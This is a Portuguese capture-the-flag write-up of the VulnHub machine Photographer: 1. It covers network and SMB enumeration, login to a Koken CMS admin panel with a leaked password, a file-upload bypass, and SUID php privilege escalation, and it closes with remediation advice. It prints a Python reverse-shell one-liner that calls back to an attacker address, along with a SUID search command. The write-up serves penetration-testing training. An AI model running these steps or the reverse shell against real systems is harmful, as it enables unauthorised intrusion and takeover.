Pwning - Photographer: 1
30 VMs em 30 dias [ 25 ] - Beco do Exploit
Descrição da Máquina
This machine was developed to prepare for OSCP. It is boot2root, tested on VirtualBox (but works on VMWare) and has two flags: user.txt and proof.txt.
Material de Apoio
- Download da VM: https://www.vulnhub.com/entry/photographer-1,519/
- EDB-ID-48706: https://www.exploit-db.com/exploits/48706
Objetivo
- A partir do IP da máquina, explorar vulnerabilidades que permitam acesso remoto
- Conseguir uma Shell com o usuário root de forma remota, e sua flag “proof.txt”
Reconhecimento
Como uma parte essencial de toda exploração, visto que utilizaremos de vetor de ataque: a rede, precisamos saber qual o endereço de IP do alvo. Existem diversas ferramentas com esse fim, como o arp-scan, netdiscover e nmap. A primeira já nos serviu muito bem:
arp-scan -I <interface> <ip-rede>/<mascara>
E com isso, podemos então fazer a enumeração de portas e seus respectivos serviços para que sirvam de superfície de ataque por meio da rede. Para isso, podemos utilizar a famosa ferramenta nmap:
nmap -sV -p- <ip-addr>
Certo, encontramos vários serviços que estão rodando. Que tal examinarmos de forma básica alguns deles potencialmente mal-configurados? Vamos começar enumerando as Shares do Samba:
smbclient -L //<ip-addr>
Percebemos então que, além das Shares padrões (print$ e IPC$), temos uma diferenciada: “sambashare”, que tal procurarmos por aquivos dentro disso?
Descobrimos que há um arquivo dentro, e logo utilizamos o comando get para fazer o download dele, e ao analizarmos, vemos graças aos headers que se trata de um e-mail, cujo a mensagem é sobre um suposto site que estaria pronto, além de um aparente segredo entre Daisa e Agi Clarence.
Podemos conferir esse tal site através do Browser, o mesmo que vimos rodar em HTTP e Apace na porta 80:
Bom, a princípio, poderíamos olhar o robots.txt ou o sitemap.xml, a fim de achar algum diretório ou arquivo escondido dos motores de busca, entretanto pulamos para o bruteforce disso com o dirb:
dirb http://<ip-addr>
Descobrimos dois diretórios que são listáveis, o /assets/ e o /images/. Podemos conferir pelo Browser:
Ok, vamos guardar essa informação.
Que tal, antes de nos aprofundarmos em algo, analisar o outro site, que está rodando na porta 8000…
Conseguimos ver de cara que se trata do CMS Koken… Interassante. E rodando um dirb aqui também, encontramos várias coisas. Dentro delas, um diretório bem interessante ao nossos olhos… o admin:
E acessando pelo Browser, conseguimos ter uma visão do que exatamente se trata:
É justamente um painel administrativo, ou seja, um vetor onde podemos tentar acessar um conta, como por exemplo a da daisa, e com aquela senha “secreta” que recebeu por email:
user: daisa@photographer.com
pass: babygirl
E prontinho, estamos dentro do Painel Koken! Será que existe alguma vulnerabilidade conhecida? Podemos tentar verificar a versão com nmap, e procurar por exploits no Google
E bom, achamos um exploit que explica uma vulnerabilidade Arbitraty File Upload, onde foi descoberto que a aplicação faz verificação da extensão do arquivo apenas no Front-end, ou seja, podemos interceptar a requisição do upload e alterarmos o nome do arquivo e extensão, para que o Backend (sem verificar) faça o processamento dele. E foi justamente o que fizemos:
Exploração
Primeiro, um código que permita RCE (Remote Code Execution) através de PHP, mas com extensão .jpg:
Segundo, fazer o upload desse arquivo e interceptar com o Burp Suite:
Terceiro, alterarmos, na requisição, a extensão do arquivo, removento o “.jpg” e mantendo apenas o “.php”:
Com isso feito, basta acessarmos esse arquivo e utilizarmos do parâmetro GET para executar comandos remotamente no servidor, e seu caminho pode ser obtido através do próprio painel administrativo:
Ahahahah! Com esse poder podemos iniciar uma Reverse Shell, escolhemos python pois descobrimos com o comando “which” que ele está no servidor.
O payload foi obtido do Pentest Monkey:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip-addr>",<porta>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
E quando executamos o comando remotamente, deixando uma escuta com netcat na nossa máquina…
Escalação de Privilégios
E como uma das principais formas de Privilege Escalation, procuramos por binários cujo temos permissão SUID, ou seja, de executa-lo com a permissão de quem é seu dono.
Para isso, precisamos antes de uma Shell interativa, que podemos fazer também com Python.
python -c "import pty; pty.spawn('/bin/sh')"
find / -perm -u=s -type f 2>/dev/null
Descobrimos um binário bem interessante que tem essa permissão, o php7 .2, e para sabermos como explorar essa vulnerabilidade, podemos ter o auxílio de um famoso site de exploits, cujo tem como objetivo, mostrar formas de explorar binários, o GTFOBINS.
Basicamente, uma forma de escalar privilégio com o binário PHP que tenha permissão de SUID.
E dessa forma, utilizando esse comando, conseguimos finalmente…
PRIVILÉGIOS ROOT!!!!!!!
Correção de Vulnerabilidades
- Nunca envie senhas em texto puro, muito menos através de e-mail. Mas se for estritamente necessário, faça com que uma troca de senha seja realizada no primeiro Login.
- Não permitir a listagem de arquivos dentro de diretórios, pois facilita a exfiltração de seus dados;
- Mantenha suas aplicações constantemente atualizadas;
- Esconda as versões das suas aplicações;
- Restrinja os privilégios para o usuário www-data;
- Não dê permissão de SUID para binários sem antes houver uma auditoria para saber sua real necessidade e riscos envolvidos.
Mas se preferir a decência, sanidade e educação, execute o seguinte comando:
Exploração e Write-up feita com o Luís Santos. Acompanhe os próximos capítulos em nossos perfis!!